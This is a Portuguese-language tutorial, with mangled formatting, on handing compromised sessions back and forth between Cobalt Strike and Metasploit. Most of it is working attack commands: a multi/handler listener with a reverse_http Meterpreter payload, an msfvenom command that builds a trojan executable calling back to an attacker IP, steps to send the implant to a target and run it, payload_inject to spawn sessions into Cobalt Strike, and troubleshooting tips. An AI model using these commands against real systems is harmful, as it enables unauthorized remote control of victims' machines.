CS derivando para MSF
Configurando listener no CS
- Criar porta de escuta no CS
- Gerar implantável (beacon/agente) usando a porta do CS
- Enviar para a máquina alvo e executar; receber requisição
- Criar porta de escuta para encaminhamento ao MSF
Recebendo derivação no MSF
- Configurar MSF
-
Usar módulo multi/handler:``` use exploit/multi/handler
-
Definir payload, endereço de escuta e porta:
Payload:
set payload <payload>
Exemplo:``` set payload windows/meterpreter/reverse_httpEndereço: `set LHOST <IP>` Exemplo:``` set LHOST 192.168.49.130Porta:
set LPORT <porta>
Exemplo:``` set LPORT 4445 -
Após configurar, executar:
-
Verificar configurações:``` show options
-
Executar em background:
-
Habilitar escuta global persistente:``` setg EXITONSESSION false
-
Rodar:``` run -j
ou``` exploit -j
-
-
Verificar jobs ativos:
jobs
Para matar um job:jobs -k <id>
-
-
- No CS, selecionar o implantável que se deseja derivar para o MSF:
- Com o botão direito sobre o beacon, escolher "Spawn"
- Selecionar a porta de derivação criada anteriormente
- Com o botão direito sobre o beacon, escolher "Spawn"
- Observar que o MSF recebe a sessão derviada do CS:
-
Entrar na sessão para testar:
sessions <id>
Exemplo:``` sessions 1`pwd` ![]() Nota: matar sessão com `sessions -k <id>`
-
- Possíveis problemas:
- Durante o encaminhamento, a máquina alvo pode exibir erro de memória (0x00ad0002, 0x00000000).
- O listener no MSF pode falhar.
Causa comum: incompatibilidade entre o payload do listener do MSF e o payload do beacon do CS.
- Durante o encaminhamento, a máquina alvo pode exibir erro de memória (0x00ad0002, 0x00000000).
MSF derivando para CS
Configurando listener no MSF
-
Gerar cavalo de Troia com msfvenom:``` msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.49.130 LPORT=9999 -f exe -o http_9999.exe
-
Configurar listener no MSF (IP e porta devem coincidir com o msfvenom):
Executar comrun -jouexploit -j. -
Executar no alvo e verificar sessão:
-
Derivar a sessão meterpreter do MSF para o CS:
-
No CS, criar listener interno:
-
No MSF, usar módulo
exploit/windows/local/payload_inject:``` use exploit/windows/local/payload_inject*Observação: se estiver dentro de uma sessão, pode usar Ctrl+Z para colocá-la em background.* -
Configurar módulo e executar:``` set LHOST <IP do CS> set LPORT <porta do CS> set session <id da sessão a derivar>
-
Verificar se o CS recebeu a derivação corretamente:
- Listener aparecerá:
- Testar funcionalidade:
- Listener aparecerá:
-
-
Possíveis problemas:
- O MSF exibe mensagens de erro, mas o CS não recebe a sessão:
Necessário definirset DisablePayloadHandler truepara evitar que o MSF trate o payload localmente e interfira no listener do CS.
- O MSF exibe mensagens de erro, mas o CS não recebe a sessão: